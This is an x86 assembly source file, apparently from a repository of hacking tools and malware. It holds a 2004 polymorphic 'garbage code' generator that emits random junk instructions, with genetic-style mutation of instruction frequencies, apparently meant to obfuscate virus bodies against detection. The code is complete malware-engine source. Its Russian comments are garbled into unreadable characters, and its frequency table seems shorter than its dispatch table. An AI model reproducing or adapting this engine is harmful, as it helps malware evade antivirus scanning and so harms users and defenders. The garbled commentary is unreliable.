This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
; ��������� �������� ���������� V. 0.4 (x) 2004 ���� http://slon.wronger.com ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
; �������������: mov edi,����� ��� ���� ;
; mov ecx,����� ���� ;
; mov ebx,�� ������������ ��������(_all) ;
; call garbage ;
;------------------------------------------------------------------------------;
; ���������: ��������������� ��� � edi ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
; ������ 0.3 ��������� ���������� �� �������� �������������� ;
; ���������������(��� �������� � ���������� ������� ;
; �������� ���������� ������ ������� "PE") ;
;------------------------------------------------------------------------------;
; ������ 0.2 ��������� ����� ���������� x86, ��� �� ��������� ;
; ���������� ������������ (x87) ;
;------------------------------------------------------------------------------;
; ������ 0.1 ���������� ������ ���������� x86 ����������, ;
; ��������� ���������� ���������� ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
;----[������� ������������ ���������� ������]----------------------------------;
garbage: ; ������������ ���������
; �������� ����������
push edx ; ��������� � �����
push ecx ; edx, ecx, esi, ebp, ecx, eax
push esi ;
push ebp ;
push ebx ;
push eax ;
call delta_offset ;
delta_offset: pop ebp ; �������� ������ ��������
sub ebp,offset delta_offset ;
call r_init ; �������������� ���
__st__:
test ecx,ecx ; ���� ��� ����������
jz landing ; �������������, �� �� �����
mov eax,21 ; �������� ��������� �������
call brandom32 ; ������� ��������� ��������
; ����������
shl eax,1 ; �������� eax �� 2
call __freq__ ; �������� ���� ���������� ��
; �������������� �����������
test eax,eax ; ���� �� �������, �� ��������
jz __st__ ; �����
lea esi,[ebp+mega_table] ; � esi �������� �� �������
; ������������� ��������
add esi,eax ; � esi ��������� eax
xor eax,eax ; �������� eax
lodsw ; � ax ���������
; ������������� �������� ��
; ����� __st__
lea esi,[ebp+__st__] ; � esi ����� ��������
; ����� __st__
add eax,esi ; ��������� ��������
; ������������
call eax ; �������� �
jmp __st__ ; ������� �� __st__
;----[���������� ������ ���������� ������]-------------------------------------;
landing:
inc [ebp+__generation] ; ����������� ������� ���������
cmp [ebp+__generation],10 ; ���� ��� �� 10 ���������, ��
jne __ne__ ; ��� �� �����
mov [ebp+__generation],0 ; ���������� ������� ���������
call gen_mutation ; �������� ��������� 1 ����.
; ���. ��������
mov [ebp+__cross1],ecx ; �������� 1 ���. ������
; ��������
call gen_mutation ; �������� ��������� 2 ����.
; ���. ��������
mov [ebp+__cross2],ecx ; �������� 2 ���. ������
; ��������
__ne__:
mov ecx,[ebp+__cross1] ; ���������� �������� 1 ���.
call gen_crossover ; ������� ��������
mov ecx,[ebp+__cross1] ; ���������� �������� 2 ���.
call gen_crossover ; ������� ��������
pop eax ;
pop ebx ;
pop ebp ;
pop esi ; ��������������� ��������
pop ecx ;
pop edx ;
ret ; ������� �� ������������
;----[������������ ������ ����. ������������]----------------------------------;
__freq__:
push eax ; ��������� eax � �����
lea esi,[ebp+__freq_table] ; ��������� ��������� �� �������
add esi,eax ; � ���. ����������
lodsw ; ��������� � ax ���.��������
mov edx,eax ; ��������� � � edx
mov eax,1001 ; ����������� ��������� �����
call brandom32 ; � ��������� 0..1000
cmp edx,eax ; ��������� ������ �� ��?
jge __exit__ ; ���� ������, �� �� �����
mov 4 ptr [esp],0 ; ��� ������� �������� �����
__exit__:
pop eax ; ��������������� eax �� �����
ret ; ������� �� ������������
;----[������������ ��������� ���. ��������]------------------------------------;
gen_mutation:
mov eax,21 ; �������� ��������� �������
call brandom32 ; ������� ��������� ��������
; ����������
shl eax,1 ; �������� eax �� 2
lea esi,[ebp+__freq_table] ; � esi �������� �� �������
; ���. �������� �������
add esi,eax ; � esi ��������� eax
xor eax,eax ; �������� eax
lodsw ; � ax ��������� ���.
; ��������
call brandom32 ; ���������� �� � ���������
sub esi,2 ; 0..���.��������-1 � ���������
; esi �� 2
sub 2 ptr [esi],ax ; �������� �� ���. ��������
; ���� �������� �����
push eax ; ��������� � ����� ��
mov eax,21 ; �������� ��������� �������
call brandom32 ; ������� ��������� ��������
; ����������
shl eax,1 ; �������� eax �� 2
mov ecx,eax ;
lea esi,[ebp+__freq_table] ; � esi �������� �� �������
; ���. �������� �������
add esi,eax ; � esi ��������� eax
pop eax ; ��������������� �� ����� ��
add 2 ptr [esi],ax ; � ��������� ��� � �������
; ���. ��������
ret ; ������� �� ������������
;----[������������ �������� ���. ������� ��������]-----------------------------;
gen_crossover:
mov eax,21 ; �������� ��������� �������
call brandom32 ; ������� ��������� ��������
; ����������
shl eax,1 ; �������� eax �� 2
lea esi,[ebp+__freq_table] ; � esi �������� �� �������
; ���. �������� �������
add esi,eax ; � esi ��������� eax
xor eax,eax ; �������� eax
lodsw ; � ax ��������� ���.
; ��������
call brandom32 ; ���������� �� � ���������
sub esi,2 ; 0..���.��������-1 � ���������
; esi �� 2
sub 2 ptr [esi],ax ; �������� �� ���. ��������
; ���� �������� �����
push eax ; ��������� � ����� ��
lea esi,[ebp+__freq_table] ; � esi �������� �� �������
; ���. �������� �������
add esi,ecx ; � esi ��������� eax
pop eax ; ��������������� �� ����� ��
add 2 ptr [esi],ax ; � ��������� ��� � �������
; ���. ��������
ret ; ������� �� ������������
;----[��������� ���������� JXX SHORT - 0x70..0x7f]-----------------------------;
__jxx_short:
mov eax,50 ; ���������� ��������� �����
call brandom32 ; � ��������� 0..49
push eax ; ��������� eax � �����
add eax,2 ; ��������� ����� ��������
cmp eax,ecx ; ��������� �� ������ �� �����
; ���� ����������
pop eax ; ��������������� �� ����� eax
jle __gen1__ ; ���� ����� ��������� �����
ret ; �� ������� �� ������������
__gen1__: ;
push eax ; ����� eax ����� � ����
mov eax,10 ; �������� ��������� �������
call brandom32 ; ����� �� 0..9
add al,70h ; ��������� 70h
stosb ; � ����� ��� � �����
pop eax ; �������� �� ����� eax �
stosb ; ����� � �����
mov edx,eax ; ����� ����� � edx
push ecx ; ��������� ecx � �����
mov ecx,edx ; ���������� ����������
call garbage ; ����� ����� ���������
pop ecx ; ��������������� ecx
; � ����� � ��� ����������
; �������� ���������,
; �������� �������:
; ..............................
; jae next
; mov eax,0
; next: nop
; ..............................
sub ecx,2 ; ��������� ������� �� 2
sub ecx,edx ; � �� ����� ��������
ret ; ������� �� ������������
;----[��������� ���������� NOT/NEG - 0xf7]-------------------------------------;
__not_r32:
cmp cl,2 ; ���� ����� ������������
jge __g1__ ; ���������� ������ 2, ��
ret ; ������� �� ������������
__g1__:
mov al,0f7h ; �������� � al - 0f7h
stosb ; � ����� ��� � �����
mov dl,0d0h ; �������� � dl - 0d0h
mov eax,2 ; ���������� ��������� �����
call brandom32 ; � ��������� 0..1
shl eax,3 ; �������� ��� �� 8
add dl,al ; ��������� � dl - al
call free_reg ; �������� ������������
; ��������� ���������
; ���������
add al,dl ; ��������� � al - dl
stosb ; � ����� ��� � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� NOT/NEG:
; ..............................
; not eax
; ..............................
sub ecx,2 ; ��������� ������� �� 2
ret ; ������� �� ������������
;----[��������� ���������� JXX NEAR - 0x0f 0x80..0x0f 0x89]--------------------;
__jxx_near:
mov eax,50 ; ���������� ��������� �����
call brandom32 ; � ��������� 0..49
push eax ; ��������� ��� � �����
add eax,6 ; ��������� ����� ��������
cmp eax,ecx ; ��������� �� ������ �����
; ���� ����������
pop eax ; ��������������� eax �� �����
jle __gen2__ ; ���� ����� ��������� �����
ret ; �� ������� �� ������������
__gen2__: ;
push eax ; ��������� � ����� eax
mov al,0fh ; �������� � al - 0fh
stosb ; � ����� ��� � �����
mov eax,10 ; �������� ��������� �������
call brandom32 ; ����� �� 0..9
;
add al,80h ; ��������� 80h
stosb ; � ����� ��� � �����
pop eax ; �������� �� ����� eax
stosd ; �������� ��� � �����
mov edx,eax ; ����� � edx - eax
push ecx ; ��������� ecx � �����
mov ecx,edx ; ���������� ����������
call garbage ; ����� ����� ���������
pop ecx ; ��������������� ecx
; � ����� � ��� ����������
; �������� ���������,
; ��������, �������:
; ..............................
; je next
; push 0
; next: push 64
; ..............................
sub ecx,6 ; ��������� ������� �� 6
sub ecx,edx ; � �� ����� ����������
;
ret ; ������� �� ������������
;----[��������� ���������� ������������ - 0xdc]--------------------------------;
__x87:
cmp cl,2 ; ���� ����� ������������
jge __g2__ ; ���������� ������ 2, ��
ret ; ������� �� ������������
__g2__:
mov al,0dch ; ����� � al - 0dch
stosb ; � �������� al � �����
mov eax,02fh ; ���������� ��������� �����
call brandom32 ; � ��������� 0..2eh
add al,0c0h ; ��������� � ����� 0c0h
stosb ; � �������� ����� � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� ������������:
; ..............................
; fadd st(0),st
; ..............................
sub ecx,2 ; ��������� ������� �� 2
ret ; ������� �� ������������
;----[��������� ���������� ��������� - 0x3a]-----------------------------------;
__cmp_r32_r32:
cmp cl,2 ; ���� ����� ������������
jge __g3__ ; ���������� ������ 2, ��
ret ; ������� �� ������������
__g3__:
mov dl,3ah ; �������� � dl - 03ah
mov eax,3 ; �������� ��������� �����
call brandom32 ; � ��������� 0..2
add al,dl ; ��������� � al - dl
stosb ; ����� �������� al � �����
call rnd_reg ; �������� ��������� �������
shl eax,3 ; �������� eax �� 8
add al,0c0h ; ��������� � al - 0c0h
mov dl,al ; �������� � dl - al
call rnd_reg ; �������� ��������� �������
add al,dl ; ��������� � al - dl
stosb ; � �������� al � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� CMP:
; ..............................
; cmp eax,esp
; ..............................
sub ecx,2 ; ��������� ������� �� 2
ret ; ������� �� ������������
;----[��������� ���������� XOR - 0x33]-----------------------------------------;
__xor_r32_r32:
cmp cl,2 ; ���� ����� ������������
jge __g4__ ; ���������� ������ 2, ��
ret ; ������� �� ������������
__g4__:
mov al,33h ; �������� � al - 33h
stosb ; � ����� ����� ��� � �����
call free_reg ; �������� ������������
; ��������� ���������
; ���������
shl eax,3 ; �������� eax �� 8
add al,0c0h ; ��������� � al - 0c0h
mov dl,al ; �������� � dl - al
call rnd_reg ; �������� ��������� �������
add al,dl ; ��������� � al - dl
stosb ; � �������� al � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� XOR:
; ..............................
; xor eax,esp
; ..............................
sub ecx,2 ; ��������� ������� �� 2
ret ; ������� �� ������������
;----[��������� ���������� TEST - 0x84]----------------------------------------;
__test_r32_r32:
cmp cl,2 ; ���� ����� ������������
jge __g5__ ; ���������� ������ 2, ��
ret ; ������� �� ������������
__g5__:
mov dl,084h ; �������� � dl - 084h
mov eax,2 ; �������� ��������� �����
call brandom32 ; � ��������� 0..1
add al,dl ; ��������� � al - dl
stosb ; � ����� ����� ��� � �����
call rnd_reg ; �������� ������������
; ��������� ����������
; ��������
add al,0c0h ; ��������� � al - 0c0h
mov dl,al ; �������� � dl - al
call rnd_reg ; �������� ��������� �������
add al,dl ; ��������� � al - dl
stosb ; � �������� al � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� TEST:
; ..............................
; test eax,esp
; ..............................
sub ecx,2 ; ��������� ������� �� 2
ret ; ������� �� ������������
;----[��������� ���������� MOV, XCHG - 0x87,0x89,0x8b]-------------------------;
__mov_r32_r32:
cmp cl,2 ; ���� ����� ������������
jge __g6__ ; ���������� ������ 2, ��
ret ; ������� �� ������������
__g6__:
mov eax,3 ; ���������� �� �
call brandom32 ; ��������� 0..2
test eax,eax ; ���������, ��� ����� ��
jnz __ng1__ ; ����� ������������
; ���� �� 0, �� 0x8b
mov eax,10 ; ���������� �� �
call brandom32 ; ��������� 0..9
test eax,eax ; ��������� ����� ����� ��
jnz __ng2__ ; ����� ������������
; ���� �� 0, �� 0x89
mov al,87h ; ����� ������������ 0x87
jmp __ag1__ ; ��� ������
__ng2__:
mov al,89h ; ����� ������������ 0x89
jmp __ag1__ ; ��� ������
__ng1__:
mov al,8bh ; �������� � al - 8bh
__ag1__:
stosb ; ����� �������� al � �����
call free_reg ; �������� ������������
; ��������� ���������
; ���������
shl eax,3 ; �������� eax �� 8
add al,0c0h ; ��������� � al - 0c0h
mov dl,al ; �������� � dl - al
call free_reg ; �������� ��������� �������
add al,dl ; ��������� � al - dl
stosb ; � �������� al � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� MOV, XCHG:
; ..............................
; mov eax,esp
; ..............................
sub ecx,2 ; ��������� ������� �� 2
ret ; ������� �� ������������
;----[��������� ���������� PUSH/POP - 0x50..0x57;0x58..0x5f]-------------------;
__push_r32:
mov eax,10 ; ���������� �� �
call brandom32 ; ��������� 0..9
mov edx,eax ; ����� ��� � edx
add al,2 ; �������� � al - 2
cmp eax,ecx ; ���� ����� ������������
jle __g7__ ; ���������� ������ 2
; � ����� ������ ,��
ret ; ������� �� ������������
__g7__:
call free_reg ; �������� ��������� �������
add al,50h ; ��������� � al - 50h
stosb ; ����� al � �����
push ecx ; �������� ecx � �����
mov ecx,edx ; ���������� �����
call garbage ; �������� ����������
pop ecx ; �������� ecx �� �����
call free_reg ; �������� ������������
; ��������� ���������
; ���������
add al,58h ; ��������� � al - 58h
stosb ; � ����� ����� al � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� PUSH/POP:
; ..............................
; push eax
; mov eax,2
; pop ecx
; ..............................
sub ecx,edx ; ��������� ������� �� edx
sub ecx,2 ; ��������� ������� �� - 2
ret ; ������� �� ������������
;----[��������� ���������� MOV - 0x0b8]----------------------------------------;
__mov_r32_imm32:
cmp cl,5 ; ���� ����� ������������
jge __g8__ ; ���������� ������ 5, ��
ret ; ������� �� ������������
__g8__: ;
call free_reg ; �������� ������������
; ��������� ���������
; ���������
add al,0b8h ; ��������� � al - 0b8h
stosb ; � ����� al � �����
xor eax,eax ; �������� eax
dec eax ; ������ eax = 0ffffffffh
call brandom32 ; ���������� ���������
stosd ; �����
; � ����� � ��� ����������
; �������� ���������
; ���������� MOV:
; ..............................
; mov eax,12345678
; ..............................
sub ecx,5 ; ��������� ������� �� 5
ret ; ������� �� ������������
;----[��������� ���������� JMP SHORT - 0xeb]-----------------------------------;
__jmp_short:
cmp cl,2 ; ���� ����� ������������
jg __g9__ ; ���������� ������ 2, ��
ret ; ������ �� ������������
__g9__:
mov eax,50 ; ���������� ��������� �����
call brandom32 ; � ��������� 0..49
push eax ; ��������� ��� � �����
add eax,2 ; ��������� ����� ��������
cmp eax,ecx ; ��������� �� ������ �����
pop eax ; ��������������� �� �����
jle __gen3__ ; ���� ����� ��������� �����
ret ; �� ������� �� ������������
__gen3__: ;
push eax ; ��������� � ����� eax
mov al,0ebh ; ����� � al - 0ebh
stosb ; � ����� al � �����
pop eax ; ��������������� �� �����
stosb ; �������� ��� � �����
mov edx,eax ; ����� � edx - eax
push ecx ; ��������� ecx � �����
mov ecx,edx ; ���������� ����������
call garbage ; ����� ����� ���������
pop ecx ; ��������������� ecx
; � ����� � ��� ����������
; �������� ���������
; ���������� JMP SHORT:
; ..............................
; jmp next
; mov ax,22
; next: nop
; ..............................
sub ecx,2 ; ��������� ������� �� 2
sub ecx,edx ; � �� ����� ����������
;
ret ; ������� �� ������������
;----[��������� ���������� ADD - 0x81]-----------------------------------------;
__add_r32_imm32:
cmp cl,6 ; ���� ����� ������������
jge g10__ ; ���������� ������ 6, ��
ret ; ������� �� ������������
g10__:
mov al,81h ; ����� � al - 81h
stosb ; � �������� al � �����
mov eax,4 ; �������� ��������� �����
call brandom32 ; � ��������� �� 0..9
add al,0ch ; ��������� � ���� - 0ch
shl al,4 ; �������� al �� 16
mov dl,al ; ����� � dl - al
mov eax,2 ; �������� ��������� �����
call brandom32 ; � ��������� �� 0..1
shl al,3 ; �������� al �� 8
add dl,al ; ��������� � dl - al
call free_reg ; �������� ������������
; ��������� ���������
; ���������
add al,dl ; ��������� � al - dl
stosb ; � ����� al � �����
xor eax,eax ; �������� eax
dec eax ; ������ eax = 0ffffffffh
call brandom32 ; ���������� ���������
stosd ; ����� � ����� ��� � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� ADD:
; ..............................
; add eax,12345678
; ..............................
sub ecx,6 ; ��������� ������� �� 6
ret ; ������� �� ������������
;----[��������� ���������� LEA - 0x8d]-----------------------------------------;
__lea_r32_imm32:
cmp cl,6 ; ���� ����� ������������
jge __g11__ ; ���������� ������ 6, ��
ret ; ������� �� ������������
__g11__:
mov al,8dh ; ����� � al - 8dh
stosb ; � �������� al � �����
call free_reg ; �������� ������������
; ��������� ���������
; ���������
shl eax,3 ; �������� eax �� - 8
add al,5 ; ��������� � al - 5
stosb ; � ����� al � �����
xor eax,eax ; �������� eax
dec eax ; ������ eax = 0ffffffffh
call brandom32 ; ���������� ��������� �����
stosd ; � ����� ��� � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� LEA:
; ..............................
; lea eax,[12345678]
; ..............................
sub ecx,6 ; ��������� ������� �� 6
ret ; ������� �� ������������
;----[��������� ���������� CALL NEAR - 0xe8]-----------------------------------;
__call_near:
mov eax,50 ; ���������� ��������� �����
call brandom32 ; � ��������� 0..49
mov edx,eax ; � ����� ��� � edx
mov eax,50 ; ���������� ��������� �����
call brandom32 ; � ��������� 0..49
push eax ; ��������� ��� � �����
add eax,11 ; ��������� ����� ��������
add eax,edx ; ��������� � eax - edx
cmp eax,ecx ; ��������� �� ������ �����
pop eax ; ��������������� �� �����
jle __gen4__ ; ���� ����� ��������� �����, ��
ret ; ������� �� ������������
__gen4__:
push edx ; ��������� � ����� edx
push eax ; ��������� � ����� eax
mov al,0e8h ; ����� � al - 0e8h
stosb ; � �������� al � �����
mov eax,[esp] ; ��������������� eax
inc eax ; ����������� eax �� - 1
stosd ; ����� eax � �����
xor eax,eax ; �������� eax
dec eax ; ������ � eax - 0ffffffffh
call brandom32 ; ���������� �� �
stosb ; ����� ��� � �����
pop edx ; �������� �� ����� � edx
push ecx ; ��������� ecx � �����
mov ecx,edx ; ���������� ����������
call garbage ; ����� ����� ���������
pop ecx ; ��������������� ecx
mov al,55h ;
stosb ; ����� � ����� 055h
mov ax,0ec8bh ;
stosw ; ����� � ����� 0ec8bh
push edx ; ����� edx � ����
mov edx,[esp+4] ; �������� �� ����� � edx
push ecx ; ��������� ecx � �����
mov ecx,edx ; ���������� ����������
call garbage ; ����� ����� ���������
pop ecx ; ��������������� ecx
mov al,5dh ; ����� � ����� 05dh
stosb ;
call free_reg ; �������� ������������
; ��������� ���������
; ���������
add al,58h ; ��������� � al - 58
stosb ; � ����� ����� al � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� CALL NEAR:
; ..............................
; mov eax,12345678h
; call next
; add edx,34567h
; next:
; push ebp
; mov ebp,esp
; xor eax,edx
; pop ebp
; pop edx
; ..............................
sub ecx,11 ; ��������� ������� �� 11
pop edx ; �������� �� ����� � edx
sub ecx,edx ; ��������� �� ����� ����������
pop edx ; �������� �� ����� � edx
sub ecx,edx ; ��������� �� ����� ����������
;
ret ; ������� �� ������������
;----[��������� ���������� SHL - 0xc1]-----------------------------------------;
__shl_r32_imm8:
cmp cl,3 ; ���� ����� ������������
jge __g12__ ; ���������� ������ 3, ��
ret ; ������� �� ������������
__g12__:
mov al,0c1h ; ����� � al - 0c1h
stosb ; � �������� al � �����
mov eax,6 ; ���������� ��������� �����
call brandom32 ; � ��������� 0..5
shl eax,3 ; �������� ��� �� 8
add al,0c0h ; ��������� � ���� - 0c0h
mov dl,al ; �������� � dl - al
call free_reg ; �������� ������������
; ��������� ���������
; ���������
add al,dl ; ��������� � al - dl
stosb ; � �������� al � �����
mov eax,256 ; ���������� ��������� �����
call brandom32 ; � ��������� 0..255
stosb ; � ����� ��� � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� SHL,ROL, ...:
; ..............................
; shl ebp,04
; ..............................
sub ecx,3 ; ��������� ������� �� 3
ret ; ������� �� ������������
;----[��������� ��������� XADD - 0x0f 0x0a3 ...]-------------------------------;
__xadd_r32_r32:
cmp cl,3 ; ���� ����� ������������
jge __g13__ ; ���������� ������ 6, ��
ret ; ������� �� ������������
__g13__:
mov al,0fh ; ����� � al - 0fh
stosb ; � �������� al � �����
lea esi,[ebp+__3_byte_opcode]; ����� � esi ��������� ��
; ������� ������ 3-� �������
; ����������
mov eax,14 ; ���������� ��������� �����
call brandom32 ; � ��������� 0..13
add esi,eax ; ���������� � esi - eax
movsb ; ���������� ���� � �����
mov dl,0c0h ; ����� � dl - 0�0h
call free_reg ; �������� ������������
; ��������� ���������
; ���������
shl eax,3 ; �������� eax �� 8
add dl,al ; ��������� � dl - al
call free_reg ; �������� ������������
; ��������� ���������
; ���������
add al,dl ; ��������� � al - dl
stosb ; � �������� al � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� XADD,IMUL, ...:
; ..............................
; xadd eax,eax
; ..............................
sub ecx,3 ; ��������� ������� �� 3
ret ; ������� �� ������������
;----[��������� ���������� MOV - 0x66 0xb8..0xbf]------------------------------;
__mov_r16_imm16:
cmp cl,4 ; ���� ����� ������������
jge __g14__ ; ���������� ������ 4, ��
ret ; ������� �� ������������
__g14__:
mov al,066h ; ����� � al - 066h
stosb ; � �������� al � �����
mov dl,0b8h ; �������� � dl - 0b8h
call free_reg ; �������� ������������
; ��������� ���������
; ���������
add al,dl ; ��������� � al - dl
stosb ; � �������� al � �����
xor eax,eax ; �������� eax
dec eax ; ������ � eax - 0ffffffffh
call brandom32 ; ���������� ��
stosw ; � �������� ��� � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� MOV:
; ..............................
; mov ax,3452
; ..............................
sub ecx,4 ; ��������� ������� �� 4
ret ; ������� �� ������������
;----[��������� ���������� CMOVA - 0x0f 0x40..0x4f]----------------------------;
__cmova_r32_r32:
cmp cl,3 ; ���� ����� ������������
jge __g15__ ; ���������� ������ 6, ��
ret ; ������� �� ������������
__g15__:
mov al,0fh ; ����� � al - 0fh
stosb ; � �������� al � �����
mov eax,15 ; ���������� ��������� �����
call brandom32 ; � ��������� 0..14
add al,40h ; ��������� � al - 40h
stosb ; � �������� al � �����
call free_reg ; ���� ��������� �������
shl eax,3 ; �������� ��� �� 8
add al,0c0h ; ��������� � ���� - 0c0h
mov dl,al ; �������� � dl - al
call rnd_reg ; �������� ������������
; ��������� ���������
; ���������
add al,dl ; ��������� � al - dl
stosb ; � �������� al � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� CMOVA:
; ..............................
; cmova eax,edx
; ..............................
sub ecx,3 ; ��������� ������� �� 3
ret ; ������� �� ������������
;----[��������� ���������� PUSH/POP - 0x6a, 0x0ff 0x0f0..0x0f7;0x58..0x5f]-----;
__push_r32_2:
mov eax,10 ; ���������� ��
call brandom32 ; � ��������� 0..9
mov edx,eax ; ����� � edx - eax
add al,3 ; ��������� � al - 3
cmp eax,ecx ; ���� ����� ������������
jle __g16__ ; ���������� ������ ,��
ret ; ������� �� ������������
__g16__:
mov eax,4 ; ���������� ��
call brandom32 ; � ��������� 0..3
test eax,eax ; ���� ��� �� ����� 0, ��
jnz __ng3__ ; ��������� �� ����� __ng3__
mov al,6ah ; ����� � al - 06ah
stosb ; �������� al � �����
xor eax,eax ; �������� eax
dec eax ; ������ � eax - 0ffffffffh
call brandom32 ; ���������� ��
stosb ; ����� � �����
jmp __gen5__ ; ��� �� ��������� ������
__ng3__:
push edx ; ��������� � ����� edx
mov al,0ffh ; ����� � al - 0ffh
stosb ; � �������� al � �����
mov dl,0f0h ; ����� � dl - 0f0h
call free_reg ; �������� ��������� �������
add al,dl ; ��������� � al - dl
stosb ; � �������� al � �����
pop edx ; �������� �� ����� edx
__gen5__:
push ecx ; ��������� ecx � �����
mov ecx,edx ; ����� � ecx - edx
call garbage ; ��������� ����� ������
pop ecx ; ��������������� ecx �� �����
call free_reg ; �������� ������������
; ��������� ���������
; ���������
add al,58h ; ��������� � al - 58h
stosb ; � ����� ����� al � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� PUSH/POP:
; ..............................
; push eax
; mov eax,2345
; pop ecx
; ..............................
sub ecx,edx ; ��������� ������� �� edx
sub ecx,3 ; ��������� ������� �� 3
ret ; ������� �� ������������
;----[��������� ���������� PUSH - 0x68,0x58..0x5f]-----------------------------;
__push_imm32:
mov eax,10 ; ���������� �� �
call brandom32 ; ��������� 0..9
mov edx,eax ; �������� � edx - eax
add al,6 ; ��������� � al - 6
cmp eax,ecx ; ���� ����� ������������
jle __g17__ ; ���������� ������, ��
ret ; ������� �� ������������
__g17__:
mov al,68h ; ����� � al - 68h
stosb ; �������� al � �����
xor eax,eax ; �������� eax
dec eax ; ������ � eax - 0ffffffffh
call brandom32 ; ���������� ��
stosd ; ����� ��� � �����
push ecx ; ��������� ecx � �����
mov ecx,edx ; ����� � ecx - edx
call garbage ; ���������� ����� ������
pop ecx ; ��������������� ecx �� �����
call free_reg ; �������� ������������
; ��������� ���������
; ���������
add al,58h ; ��������� � al - 58h
stosb ; � ����� ����� al � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� PUSH/POP:
; ..............................
; push eax
; add eax,42346
; pop ecx
; ..............................
sub ecx,edx ; ��������� ������� �� edx
sub ecx,6 ; ��������� ������� �� 6
ret ; ������� �� ������������
;----[��������� ������������ ���������� - 0x40..0x4f;0x0f2;0x0f3...]-----------;
__one_byte:
mov eax,3 ; ���������� ��������� �����
call brandom32 ; � ��������� 0..2
cmp al,1 ; ���� ����� = 1, ��
jne __not_inc_ ; ���������� ���������� INC
call free_reg ; �������� ������������
; ��������� ���������
; ���������
add al,40h ; ��������� � al - 40h
stosb ; �������� al � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� INC:
; ..............................
; inc eax
; inc ebp
; ..............................
jmp __q__ ; ��� �� �����
__not_inc_:
cmp al,2 ; ���� ����� = 2, ��
jne __not_dec_ ; ��� �� �����
call free_reg ; �������� ������������
; ��������� ���������
; ���������
add al,48h ; ��������� � al - 48h
stosb ; �������� al � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� DEC:
; ..............................
; dec eax
; ..............................
jmp __q__ ; ��� �� �����
__not_dec_:
lea esi,[ebp+__1_byte_opcode]; ����� � esi ��������� ��
; ������� �����������
; ����������
mov eax,8 ; ���������� ��������� �����
call brandom32 ; � ��������� 0..7
add esi,eax ; ���������� � esi - eax
movsb ; �������� ����������
; �� ������� � �����
; � ����� � ��� ����������
; �������� ���������
; ���������� �� �������:
; .............................
; cld
; nop
__q__: ; .............................
dec ecx ; ��������� ecx �� �������
ret ; ������� �� ������������
;----[������������ ���������� ��������� ��������� �������]---------------------;
free_reg:
; ������������ ���������
; ���������� ��������
push edx ecx ; ��������� � ����� edx, ecx
another: ;
call rnd_reg ;
bt ebx, eax ; ���������� ������������
jc another ; ��������� �������
pop ecx edx ; ��������������� ecx, edx
ret ; ������� �� ������������
;----[������������ ���������� ��������� �������]-------------------------------;
rnd_reg:
; ������������ ���������
; ���������� ��������
mov eax,8 ; �������� ��������� �����
call brandom32 ; � ��������� 0..7
ret ; ������� �� ������������
;----[������� �������� �� ������������]----------------------------------------;
mega_table:
dw __x87 -__st__ ;
dw __mov_r32_r32 -__st__ ;
dw __push_r32 -__st__ ;
dw __push_r32_2 -__st__ ;
dw __push_imm32 -__st__ ;
dw __shl_r32_imm8 -__st__ ;
dw __cmp_r32_r32 -__st__ ;
dw __xor_r32_r32 -__st__ ;
dw __one_byte -__st__ ;
dw __mov_r32_imm32 -__st__ ;
dw __jxx_short -__st__ ; ������� �������������
dw __jxx_near -__st__ ; �������� �� �����
dw __add_r32_imm32 -__st__ ; delta_offset
dw __jmp_short -__st__ ;
dw __lea_r32_imm32 -__st__ ;
dw __test_r32_r32 -__st__ ;
dw __not_r32 -__st__ ;
dw __xadd_r32_r32 -__st__ ;
dw __mov_r16_imm16 -__st__ ;
dw __cmova_r32_r32 -__st__ ;
dw __call_near -__st__ ;
;----[������� ������������ �������]--------------------------------------------;
__1_byte_opcode:
std ;
cld ; ������� ������������
nop ; ����������
clc ;
stc ;
cmc ;
db 0f2h ; rep
db 0f3h ; repnz
;----[������� ����������� �������]--------------------------------------------;
__3_byte_opcode:
db 0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh ; ������� �����������
db 0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh ; ����������
;----[������� ���. �������� �������]-------------------------------------------;
__freq_table:
dw 10 ; x87(0xdc)
dw 209 ; mov r32,r32(0x8b)
dw 107 ; push r32/pop r32(0x50)
dw 147 ; push r32(0xff,0x6a)
dw 32 ; push imm32(0x68)
dw 6 ; ror/shl r32,imm8(0xc1)
dw 5 ; cmp r32,r32(0x3ah)
dw 43 ; xor r32,r32(0x33)
dw 8 ; rep/repnz(0xf3)
dw 22 ; mov r32,imm32(0xb8)
dw 82 ; je short(0x70..0x7fh)
dw 18 ; je near(0x0f)
dw 78 ; add/or r32,imm32(0x81..0x85)
dw 30 ; jmp short(0xeb)
dw 63 ; lea r32,imm32(0x8d)
dw 1 ; test r32/r8,r32/r8(0x84,0x85)
dw 1 ; not/neg(0xf7)
dw 23 ; xadd/imul r32,r32(0x0f)
dw 6 ; mov r16,imm16(0x66)
